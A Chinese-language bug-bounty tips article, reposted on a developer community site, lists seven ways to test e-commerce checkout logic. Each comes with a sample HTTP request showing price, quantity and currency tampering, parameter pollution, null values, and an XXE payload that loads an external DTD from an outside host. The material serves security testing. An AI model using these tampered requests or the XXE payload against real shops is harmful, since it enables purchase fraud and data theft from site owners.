漏洞赏金猎人系列-测试电商类相关功能步骤和Tips-I-阿里云开发者社区

漏洞赏金猎人系列-测试电商类相关功能步骤和Tips-I

2022-12-13 164

版权

本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。

简介： 电商类的网站国内算是很多了,这里主要总结下相关业务功能的测试步骤以及技巧正文

前言

电商类的网站国内算是很多了,这里主要总结下相关业务功能的测试步骤以及技巧

正文

第一种方法

尝试控制数量，例如，原来的数量是1件，试着把它改成3件，可以免费得到两件物品，纯业务逻辑层面的漏洞

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded 
Origin: https://www.company.com 
Content-Length: Number
Quantity=3&price=10&currency=dollar&token=************& add=egy

第二种方法

尝试操纵篡改价格，例如原价格是10，试着将其改变为-10或分数值，例如0.10，使商品更便宜

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded 
Origin: https://www.company.com 
Content-Length: Number
Quantity=1&price=-10&currency=dollar&token=************& add=egy

第三种方法

尝试篡改货币种类，例如，原来的货币是美元，试着把它换成印度卢比，让商品更便宜

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded 
Origin: https://www.company.com 
Content-Length: Number
Quantity=1&price=10&currency=INR&token=************& add=egy

第四种方法

尝试在参数的所有字段值中使用负数、零、NaN、null或大量00000，例如Quantity=0000或Quantity=null，可能会发生逻辑问题

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded 
Origin: https://www.company.com 
Content-Length: Number
Quantity=null&price=10&currency=dollar&token=************& add=egy

第五种方法

尝试使用参数污染技术，如Quantity=1&Quantity=2或Quantity=[]获得免费物品

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded 
Origin: https://www.company.com 
Content-Length: Number
Quantity=1&Quantity=2&price=10&currency=dollar& token=************&add=egy

第六种方法

尝试省略参数，例如删除参数及其值或只删除值或尝试将其替换为Null，以引起逻辑问题

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded 
Origin: https://www.company.com 
Content-Length: Number
Quantity=1(这里的参数需要删除)&price=10&currency=dollar&token=************& add=egy

第七种方法

尝试更改内容类型头文件为Content - Type: application/xml，使用XXE有效负载，例如

<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://me.com/xxe.dtd" >]>

POST /buying-something HTTP/1.1
Host: www.company.com
Content-Type: application/xml;charset=UTF–8 
Content-Length: Number
<?xml version="1.0" encoding="UTF-8" standalone="no"?> 
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://me.com/xxe.dtd">]> <root>
<Quantity>&xxe;</Quantity>
<price>10</price>
<add>egy</add>
<token>******</token>
</root>